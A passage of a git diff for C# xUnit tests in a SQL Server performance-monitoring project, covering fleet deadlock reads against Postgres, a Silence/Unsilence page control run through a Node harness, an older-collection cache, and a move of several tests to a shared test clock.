+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, DeleteSentinelRowsAsync);
+        }
+    }
+
+    private static async Task CompareAsync(NpgsqlConnection connection, DateTime start, DateTime now, CancellationToken ct)
+    {
+        var previous = await ReadRowsAsync(connection, PreviousFleetPgDeadlockSql, start, now, ct);
+        var shipped = await ReadRowsAsync(connection, DarlingFleetReader.FleetPgDeadlockSql, start, now, ct);
+        Assert.Equal(previous.OrderBy(r => r.ServerId).ToList(), shipped.OrderBy(r => r.ServerId).ToList());
+        Assert.Contains(shipped, r => r.ServerId == GeneratedFirstServerId && r.Intervals > 0);
+
+        var previousPgTotal = await ScalarAsync(connection, PreviousViewerPgTotalSql, start, now, ct);
+        var graphCount = await ScalarAsync(connection,
+            "SELECT COUNT(*) FROM v_deadlocks WHERE deadlock_time >= $1 AND deadlock_time <= $2 AND collection_time >= $3",
+            start, now, ct, EventWindowFloor.For(start));
+        var viewerTotal = await ScalarAsync(connection,
+            "SELECT total_deadlocks FROM (" + ViewerDataService.FleetTotalsSql + ") AS t",
+            start, now, ct, EventWindowFloor.For(start));
+        Assert.Equal(previousPgTotal + graphCount, viewerTotal);
+    }
+
+    /// <summary>Six servers x five pairs (four named, one NULL-named) x 300 one-minute samples ending now, so
+    /// the 3-hour window has rows before it. <paramref name="allMove"/> makes every pair step up; otherwise
+    /// about one pair in seven does, and the specials are: server 1 pair 1 resets at minute 150, server 2 pair 2
+    /// is a constant with a NULL every 11th sample, server 3 pair 0 is NULL throughout, and the rest are
+    /// constants (some zero).</summary>
+    private static async Task SeedGeneratedAsync(NpgsqlConnection connection, bool allMove, DateTime now, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO pg_database_stats
+    (collection_id, collection_time, server_id, server_name, database_name, deadlocks, stats_reset)
+SELECT
+    (s.k::bigint * 10 + d.idx) * 100000 + g.m + 5260000000,
+    $1 - g.m * interval '1 minute',
+    $2 - s.k,
+    'zz-fleet-pg-deadlock-gen-' || s.k,
+    CASE WHEN d.idx = 4 THEN NULL ELSE 'db' || d.idx END,
+    CASE
+        WHEN s.k = 1 AND d.idx = 1 THEN CASE WHEN g.m > 150 THEN 300 + (300 - g.m) / 40 ELSE (150 - g.m) / 30 END
+        WHEN s.k = 2 AND d.idx = 2 THEN CASE WHEN g.m % 11 = 0 THEN NULL ELSE 40 END
+        WHEN s.k = 3 AND d.idx = 0 THEN NULL
+        WHEN $3 OR (s.k * 5 + d.idx) % 7 = 3 THEN 100 + (300 - g.m) / (20 + (s.k * 3 + d.idx) % 7 * 10)
+        ELSE (s.k * 5 + d.idx) % 3 * 10
+    END,
+    CASE WHEN s.k = 1 AND d.idx = 1 AND g.m <= 150 THEN $1 - interval '150 minutes' END
+FROM generate_series(0, $4 - 1) AS s(k)
+CROSS JOIN generate_series(0, 4) AS d(idx)
+CROSS JOIN generate_series(0, 299) AS g(m)", connection);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(GeneratedFirstServerId);
+        command.Parameters.AddWithValue(allMove);
+        command.Parameters.AddWithValue(GeneratedServerCount);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<List<Row>> ReadRowsAsync(
+        NpgsqlConnection connection, string sql, DateTime start, DateTime end, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(start, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+        var rows = new List<Row>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add(new Row(
+                reader.GetInt32(0),
+                Convert.ToInt64(reader.GetValue(1), CultureInfo.InvariantCulture),
+                reader.IsDBNull(2) ? null : reader.GetDateTime(2),
+                Convert.ToInt64(reader.GetValue(3), CultureInfo.InvariantCulture)));
+        }
+
+        return rows;
+    }
+
+    private static async Task<long> ScalarAsync(
+        NpgsqlConnection connection, string sql, DateTime start, DateTime end, CancellationToken ct,
+        DateTime? floor = null)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(start, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+        if (floor is not null)
+        {
+            command.Parameters.AddWithValue(DateTime.SpecifyKind(floor.Value, DateTimeKind.Unspecified));
+        }
+
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, int serverId, string? databaseName, DateTime collectionTime, long? deadlocks,
+        DateTime? statsReset, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO pg_database_stats
+    (collection_id, collection_time, server_id, server_name, database_name, deadlocks, stats_reset)
+VALUES ($1, $2, $3, $4, $5, $6, $7)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue("zz-fleet-pg-deadlock-" + serverId.ToString(CultureInfo.InvariantCulture));
+        command.Parameters.AddWithValue(databaseName is null ? DBNull.Value : databaseName);
+        command.Parameters.AddWithValue(deadlocks is null ? DBNull.Value : deadlocks.Value);
+        command.Parameters.AddWithValue(statsReset is null ? DBNull.Value : DateTime.SpecifyKind(statsReset.Value, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteSentinelRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var ids = string.Join(", ", SentinelIds.Select(i => i.ToString(CultureInfo.InvariantCulture)));
+        await using var cleanup = new NpgsqlCommand($"DELETE FROM pg_database_stats WHERE server_id IN ({ids});", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/FleetReadsAreBoundedByTheFleetTests.cs b/Darling/Darling.Tests/FleetReadsAreBoundedByTheFleetTests.cs
index 92e6bb5241..aa4893ddef 100644
--- a/Darling/Darling.Tests/FleetReadsAreBoundedByTheFleetTests.cs
+++ b/Darling/Darling.Tests/FleetReadsAreBoundedByTheFleetTests.cs
@@ -382,7 +382,7 @@ public async Task TheBoundedReads_ReturnTheUnboundedReadsRows_AgainstDevPostgres
         try
         {
             await DeleteSentinelRowsAsync(connection, ct);
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedAsync(connection, now, ct);
 
             /* The newest-row reads: identical rows for every compared sentinel. */
@@ -513,7 +513,7 @@ public async Task TheOverview_BuildsEachCardFromItsNewestReading_AgainstDevPostg
         try
         {
             await DeleteSentinelRowsAsync(connection, ct);
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedAsync(connection, now, ct);
 
             var result = await DarlingFleetReader.GetFleetOverviewAsync(postgres, now.AddHours(-1), now, now, cancellationToken: ct);
@@ -544,12 +544,14 @@ public async Task TheOverview_BuildsEachCardFromItsNewestReading_AgainstDevPostg
 
             /* #3935: dark for five days, registered nine days ago — Offline, the viewer's word for it, and not
                "Awaiting first collection". Its last collection is outside the kept window, so the card carries
-               none; status is what tells this null from the never-collected one below. */
+               none in the windowed read. Release walk W1b: the card still shows its real last collection, read for it alone from
+               before the window (an index descent, FleetOlderCollectionSql), so the page can say how long it has been dark. */
             Assert.False(dark.IsOnline);
             Assert.Equal(FleetHealthBand.Offline, dark.Band);
             Assert.Equal(ServerCollectionStatus.Offline.Word(), dark.Status);
             Assert.False(dark.AwaitingFirstCollection);
-            Assert.Null(dark.LastCollectionTime);
+            Assert.NotNull(dark.LastCollectionTime);
+            Assert.InRange((DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) - dark.LastCollectionTime!.Value).TotalDays, 4.5, 5.5);
 
             var never = cards[NeverCollected];
             Assert.Null(never.CpuPercent);
@@ -591,6 +593,58 @@ public async Task TheOverview_BuildsEachCardFromItsNewestReading_AgainstDevPostg
         }
     }
 
+    /// <summary>
+    /// Release walk W1b (review round): the older-collection read for a dark server (1) runs on a connection the first read has
+    /// already released - a store whose pool holds ONE connection still answers it, where holding the first reader open while the
+    /// second command took its connection waited for the pool and gave up - and (2) is cached per server for
+    /// <see cref="DarlingFleetReader.OlderCollectionCacheMinutes"/>: a second poll inside the window reuses the answer (proved by
+    /// deleting the rows it came from), and one past it reads again.
+    /// </summary>
+    [Fact]
+    public async Task TheOlderCollectionRead_NeedsOnlyOneConnectionAtATime_AndIsCachedPerServer_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live older-collection test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await PrepareHypertablesAsync(connectionString!, connection, ct);
+
+        var onePooled = new NpgsqlConnectionStringBuilder(connectionString) { MaxPoolSize = 1, Timeout = 3, Pooling = true }.ConnectionString;
+        await using var postgres = NpgsqlDataSource.Create(onePooled);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DeleteSentinelRowsAsync(connection, ct);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
+            await SeedAsync(connection, now, ct);
+
+            var first = await DarlingFleetReader.ReadLastCollectionAsync(postgres, now, null, ct);
+            Assert.NotNull(first[DarkFiveDays].OlderCollection);
+
+            await using (var delete = new NpgsqlCommand("DELETE FROM collection_log WHERE server_id = $1", connection) { Parameters = { new() { Value = DarkFiveDays } } })
+            {
+                await delete.ExecuteNonQueryAsync(ct);
+            }
+
+            var cached = await DarlingFleetReader.ReadLastCollectionAsync(postgres, now.AddMinutes(1), null, ct);
+            Assert.Equal(first[DarkFiveDays].OlderCollection, cached[DarkFiveDays].OlderCollection);
+
+            var expired = await DarlingFleetReader.ReadLastCollectionAsync(
+                postgres, now.AddMinutes(DarlingFleetReader.OlderCollectionCacheMinutes + 1), null, ct);
+            Assert.Null(expired[DarkFiveDays].OlderCollection);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, DeleteSentinelRowsAsync);
+        }
+    }
+
     /// <summary>
     /// The plan, where TimescaleDB is present (the only place chunks exist to exclude). Over the seeded week of
     /// daily chunks: the newest-row probes read a handful of rows rather than every retained one and never sort
@@ -626,7 +680,7 @@ public async Task TheBoundedReads_StopAtTheNewestChunk_AndPlanOnlyTheWindowsChun
         try
         {
             await DeleteSentinelRowsAsync(connection, ct);
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedAsync(connection, now, ct);
             using (var analyze = new NpgsqlCommand("ANALYZE collect.memory_stats; ANALYZE collect.deadlocks; ANALYZE collect.servers;", connection))
             {
diff --git a/Darling/Darling.Tests/FleetSilenceBehaviourTests.cs b/Darling/Darling.Tests/FleetSilenceBehaviourTests.cs
new file mode 100644
index 0000000000..9c37bc61e2
--- /dev/null
+++ b/Darling/Darling.Tests/FleetSilenceBehaviourTests.cs
@@ -0,0 +1,149 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The fleet page's Silence / Unsilence control, from the shipped <c>fleet.js</c> run under Node
+/// (<c>web-fleet-silence-harness.mjs</c>) against a fake DOM and fetch. Skipped when Node is not installed.
+/// </summary>
+public sealed class FleetSilenceBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-fleet-silence-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the fleet silence harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the fleet silence harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] Labels(JsonElement node, string name) =>
+        node.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void ASeatThatCannotEdit_SeesNoSilenceButton()
+    {
+        if (!TryRun("gate", out var r)) return;
+        Assert.Equal(0, r.GetProperty("buttons").GetInt32());
+    }
+
+    [Fact]
+    public void Silence_ConfirmsThenPostsTheServerSilenceRule_AndTheRebuiltCardKeepsItsAnswer()
+    {
+        if (!TryRun("silence", out var r)) return;
+
+        Assert.Equal(new[] { "Silence" }, Labels(r, "before"));
+        Assert.Equal(new[] { "Unsilence" }, Labels(r, "afterClick"));
+        Assert.Equal(new[] { "Unsilence" }, Labels(r, "afterRebuild"));
+        Assert.Equal(1, r.GetProperty("bell").GetInt32());
+        Assert.Single(r.GetProperty("confirms").EnumerateArray());
+        var write = Assert.Single(r.GetProperty("writes").EnumerateArray());
+        Assert.Equal("POST", write.GetProperty("method").GetString());
+        Assert.Equal("/api/mute-rules", write.GetProperty("url").GetString());
+        Assert.Equal("{\"server_id\":10,\"server_name\":\"srv-a\",\"reason\":\"Silenced from server list\"}", write.GetProperty("body").GetRawText());
+    }
+
+    [Fact]
+    public void ADeclinedConfirm_WritesNothing()
+    {
+        if (!TryRun("declined", out var r)) return;
+        Assert.Equal(0, r.GetProperty("writes").GetInt32());
+        Assert.Equal(1, r.GetProperty("confirms").GetInt32());
+    }
+
+    [Fact]
+    public void AWriteInFlightAcrossARebuild_DoesNotFireTwice_AndTheRebuiltButtonIsDisabled()
+    {
+        if (!TryRun("pending", out var r)) return;
+        Assert.True(r.GetProperty("disabled").GetBoolean());
+        Assert.Equal(1, r.GetProperty("posts").GetInt32());
+        Assert.Equal("Unsilence", r.GetProperty("label").GetString());
+    }
+
+    [Fact]
+    public void Unsilence_DeletesEveryWholeServerRuleForTheServer_AndNothingNarrower()
+    {
+        if (!TryRun("unsilence", out var r)) return;
+
+        Assert.Equal(new[] { "Unsilence" }, Labels(r, "before"));
+        var urls = r.GetProperty("writes").EnumerateArray().Select(w => w.GetProperty("method").GetString() + " " + w.GetProperty("url").GetString()).ToArray();
+        Assert.Equal(new[] { "DELETE /api/mute-rules/own-1", "DELETE /api/mute-rules/hand-built" }, urls);
+        Assert.Equal(new[] { "Silence" }, Labels(r, "after"));
+    }
+
+    [Fact]
+    public void ForEveryServerThePageShowsAsSilenced_UnsilenceRemovesTheRule_OrNamesTheOneItCannot()
+    {
+        if (!TryRun("unsilenceAgrees", out var r)) return;
+        var per = r.GetProperty("perServer");
+        Assert.Equal(new[] { "DELETE /api/mute-rules/r-marker" }, per.GetProperty("20").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { "DELETE /api/mute-rules/r-edited" }, per.GetProperty("21").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { "DELETE /api/mute-rules/r-noreason" }, per.GetProperty("22").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Empty(per.GetProperty("24").EnumerateArray());
+        Assert.Contains("Mute Rules page", Labels(r, "notices").Single());
+    }
+
+    [Fact]
+    public void ANameOnlyRule_IsLeftForTheMuteRulesPage_AndOnlyThatCaseSaysSo()
+    {
+        if (!TryRun("unsilenceNameOnly", out var r)) return;
+        Assert.Equal(0, r.GetProperty("writes").GetInt32());
+        Assert.Contains("Mute Rules page", Labels(r, "notice").Single());
+    }
+
+    [Fact]
+    public void TheSuccessNotice_ClearsOnTheNextRebuild()
+    {
+        if (!TryRun("noticeClears", out var r)) return;
+        Assert.Equal(1, r.GetProperty("shown").GetInt32());
+        Assert.Equal(0, r.GetProperty("afterRebuild").GetInt32());
+    }
+
+    [Fact]
+    public void AWriteThatNeverReturns_GivesTheButtonBack_WithAMessage()
+    {
+        if (!TryRun("hung", out var r)) return;
+        Assert.False(r.GetProperty("disabled").GetBoolean());
+        Assert.Contains("did not answer", Labels(r, "notice").Single());
+    }
+}
diff --git a/Darling/Darling.Tests/FleetSilencePageTests.cs b/Darling/Darling.Tests/FleetSilencePageTests.cs
new file mode 100644
index 0000000000..ca30e56d2b
--- /dev/null
+++ b/Darling/Darling.Tests/FleetSilencePageTests.cs
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the fleet page's Silence This Server / Unsilence control (#4843): the read and write
+/// names, the shape it writes, the marker Unsilence matches on, the can_edit gate and the module-scope state.</summary>
+public sealed class FleetSilencePageTests
+{
+    private static string Fleet() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "fleet.js").ReplaceLineEndings("\n");
+
+    [Fact]
+    public void SilenceWritesThroughTheMuteRulesCreateRoute_AndUnsilenceThroughItsDeleteRoute()
+    {
+        var fleet = Fleet();
+        Assert.Contains("import { createRule, deleteRule } from \"./mute-rules.js\";", fleet);
+        Assert.Contains("createRule(silenceBody(card))", fleet);
+        Assert.Contains("await withTimeout(createRule(", fleet);
+        Assert.Contains("deleteRule(r.id)", fleet);
+        Assert.Contains("await withTimeout(deleteRule(", fleet);
+        Assert.Contains("readTool(\"get_mute_rules\", { enabled_only: false })", fleet);
+
+        var rules = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "mute-rules.js").ReplaceLineEndings("\n");
+        Assert.Contains("export const createRule = (body) => send(\"POST\", \"/api/mute-rules\", body);", rules);
+        Assert.Contains("export const deleteRule = (id) => send(\"DELETE\", \"/api/mute-rules/\" + encodeURIComponent(id));", rules);
+    }
+
+    [Fact]
+    public void TheBodyIsTheDesktopSilenceShape_KeyedOnTheServerIdWithItsMarkerReason()
+    {
+        var fleet = Fleet();
+        Assert.Contains("{ server_id: card.server_id, server_name: card.display_name, reason: SILENCE_REASON }", fleet);
+        Assert.Contains("export const SILENCE_REASON = \"" + PerformanceMonitor.Darling.Viewer.ViewerDataService.ServerSilenceReason + "\";", fleet);
+    }
+
+    [Fact]
+    public void UnsilenceMatchesTheDesktopWholeServerPredicate_WithNoReasonTest()
+    {
+        var fleet = Fleet();
+        Assert.DoesNotContain("rule.reason", fleet);
+        Assert.Contains("rule.server_id === serverId", fleet);
+        foreach (var field in new[] { "metric_name", "database_pattern", "query_text_pattern", "wait_type_pattern", "job_name_pattern" })
+        {
+            Assert.Contains("rule." + field + " == null", fleet);
+        }
+        Assert.Contains(".filter((r) => isWholeServerSilence(r, id))", fleet);
+    }
+
+    [Fact]
+    public void TheButtonIsGatedOnCanEdit_AndTheActionsConfirm()
+    {
+        var fleet = Fleet();
+        Assert.Contains("canEditSilence = !!(await api.getSession()).can_edit;", fleet);
+        Assert.Contains("if (!canEditSilence) return null;", fleet);
+        Assert.Contains("globalThis.confirm(ask)", fleet);
+    }
+
+    [Fact]
+    public void InFlightAndOptimisticStateLiveAtModuleScope_KeyedByServer()
+    {
+        var fleet = Fleet();
+        Assert.Contains("\nconst silencePending = new Set();", fleet);
+        Assert.Contains("\nconst silenceOverride = new Map();", fleet);
+        Assert.Contains("if (silencePending.has(id)) return;", fleet);
+    }
+
+    [Fact]
+    public void ThePageTextNeverGoesThroughInnerHtml_AndTheCssIsInAppCss()
+    {
+        Assert.DoesNotContain("innerHTML", Fleet());
+        var app = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css");
+        var theme = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "theme.css");
+        Assert.Contains(".silence-btn", app);
+        Assert.DoesNotContain("silence-btn", theme);
+    }
+}
diff --git a/Darling/Darling.Tests/FleetSweepWebFeedTests.cs b/Darling/Darling.Tests/FleetSweepWebFeedTests.cs
index ee524a98d0..4cee74717b 100644
--- a/Darling/Darling.Tests/FleetSweepWebFeedTests.cs
+++ b/Darling/Darling.Tests/FleetSweepWebFeedTests.cs
@@ -538,10 +538,11 @@ public void TheSweepPage_RendersDeadInstrumentsLoudly_AndTheLedgerWheneverCarrie
     [Fact]
     public void TheWorklistRender_PrefersTheName_AndNeverSaysServerZeroForTheFleet()
     {
-        Assert.Contains(
-            "w.fleet_scope ? \"Fleet\" : (w.server || \"server \" + w.server_id)",
-            FrontendSource("js/pages/sweeps.js"),
-            StringComparison.Ordinal);
+        // The labels now live in two helpers the Server column shows, sorts and exports (one text for all three).
+        var src = FrontendSource("js/pages/sweeps.js");
+        Assert.Contains("w.fleet_scope ? \"Fleet\" : serverText(w)", src, StringComparison.Ordinal);
+        Assert.Contains("w.server || \"server \" + w.server_id", src, StringComparison.Ordinal);
+        Assert.Contains("display: watchServerText, sortValue: watchServerText, copyValue: watchServerText", src, StringComparison.Ordinal);
     }
 
     /// <summary>The cadence knob is DISPLAY-ONLY on this page: it reads the same
@@ -627,7 +628,7 @@ public void TheSweepRoutes_LogThroughTheServiceLogger_NotTheProviderlessAppFacto
             "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs");
         Assert.Contains("builder.Logging.ClearProviders();", host, StringComparison.Ordinal);
         Assert.Contains(
-            "DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState);",
+            "DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState, _slowReads);",
             host, StringComparison.Ordinal);
     }
 
diff --git a/Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs b/Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs
index 84215d1a01..6569896611 100644
--- a/Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs
+++ b/Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs
@@ -207,7 +207,11 @@ public async Task TheShippedRead_PlansAsAnIndexOnlyScanOnTheCoveringIndex_Agains
                100 ns, so a raw UtcNow does not survive the round trip and the #3579 stamp assertion below
                (tick-equality against what was seeded) would fail on any clock that is not itself
                microsecond-aligned — Windows' is not; the first CI run proved it by three ticks. */
-            var rawNow = DateTime.UtcNow;
+            /* #5608: the real clock on purpose, not LiveClock. GetForcePlanFailuresAsync below takes its two-hour
+               window from the product's own clock, so a seed placed by DARLING_TEST_CLOCK_UTC falls outside it and
+               the read comes back empty (five of five runs at a 00:30 override, with every plan assertion above
+               already passed). The plan assertions hold across a chunk boundary, so the seed needs no anchor. */
+            var rawNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Utc);
             var utcNow = DateTime.SpecifyKind(new DateTime(rawNow.Ticks - (rawNow.Ticks % 10)), DateTimeKind.Unspecified);
             for (var pass = 7; pass >= 0; pass--)
             {
diff --git a/Darling/Darling.Tests/FrozenRollupLiveTests.cs b/Darling/Darling.Tests/FrozenRollupLiveTests.cs
index 72594f833f..8c4e395bdb 100644
--- a/Darling/Darling.Tests/FrozenRollupLiveTests.cs
+++ b/Darling/Darling.Tests/FrozenRollupLiveTests.cs
@@ -133,7 +133,7 @@ is not vacuous. */
                (DarlingCliCommands' rollup-backfill verb) — the service start path never runs a backfill slice
                on its own, so there is no third step to run here. */
             await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
-            await TimescaleSupport.RepairMaterializationHolesAsync(connection, null, DateTime.UtcNow, ct);
+            await TimescaleSupport.RepairMaterializationHolesAsync(connection, null, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
 
             var after = await ReadDailyTotalsAsync(connection, TimescaleSupport.QueryStatsDailyView, ServerId, D0, cutoff, ct);
             Assert.Equal(before, after);
@@ -1869,7 +1869,7 @@ public async Task Upgrade_NoOutage_EmptySuccessor_RawPurgeStaysCovered()
             /* now() anchor, truncated to the hour so the seeded hourly rows line up with the buckets the
                probe walks. The legacy froze a few hours back (H-6..H-4); raw kept collecting every hour
                since, up to and including the current hour, but the successor never ran its first refresh. */
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var h = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified);
 
             for (var hoursAgo = 0; hoursAgo <= 6; hoursAgo++)
@@ -1949,7 +1949,7 @@ public async Task Upgrade_NonEmptySuccessor_HoleInItsOwnSpan_SeamProbeStopsAtIts
                itself (H-72, H-71) holds no hole. The successor also materializes a much later bucket, H-2,
                but skips H-30 (T2) in between — a real hole, entirely inside the successor's own span above
                T1, which the seam probe must stop short of and never reach. */
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var h = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified);
 
             await InsertProcedureStatsAsync(connection, h.AddHours(-72), "seam_proc_legacy_floor", 900, 9, 3600, ct);
@@ -2032,7 +2032,7 @@ public async Task Upgrade_RealOutageInsideTheFallbackWindow_RawPurgeStaysNotSafe
         var bodySucceeded = false;
         try
         {
-            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var h = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified);
             var legacyLast = h.AddDays(-3);
 
@@ -2067,6 +2067,140 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
         }
     }
 
+    /// <summary>
+    /// PIN (#4981): the stitch's fallback horizon is the service's UTC clock minus
+    /// <see cref="TimescaleSupport.HourlyRefreshStartOffset"/>, BOUND as a parameter, so
+    /// <see cref="TimescaleSupport.IsRawTierDropSafeAsync"/> answers the same on a store session in any time
+    /// zone. Written as <c>now()::timestamp</c> in the SQL it moved by the session's UTC offset against buckets
+    /// that are naive UTC: a session west of UTC ended the scan early and missed a hole, one east of it ran the
+    /// scan late into hours the successor's own first refresh has not reached. The legacy holds its oldest hour
+    /// and the successor nothing; raw's oldest row is that hour. First a raw row 27 hours back (a real hole,
+    /// inside the scan on a UTC clock, outside it seven hours west) must read <c>false</c> in a UTC, a
+    /// UTC-7 and a UTC+9 session alike; then that row gone and one 20 hours back (inside the successor's first
+    /// refresh, outside the scan on a UTC clock, inside it nine hours east) must read <c>true</c> in all three.
+    /// RED at <c>9441f6b6c</c>: the UTC-7 session read <c>true</c> for the first row and the UTC+9 session
+    /// <c>false</c> for the second.
+    /// </summary>
+    [Fact]
+    public async Task Upgrade_FallbackHorizon_GivesTheSameVerdictInAnySessionTimeZone()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live A6 freeze test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live A6 freeze test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
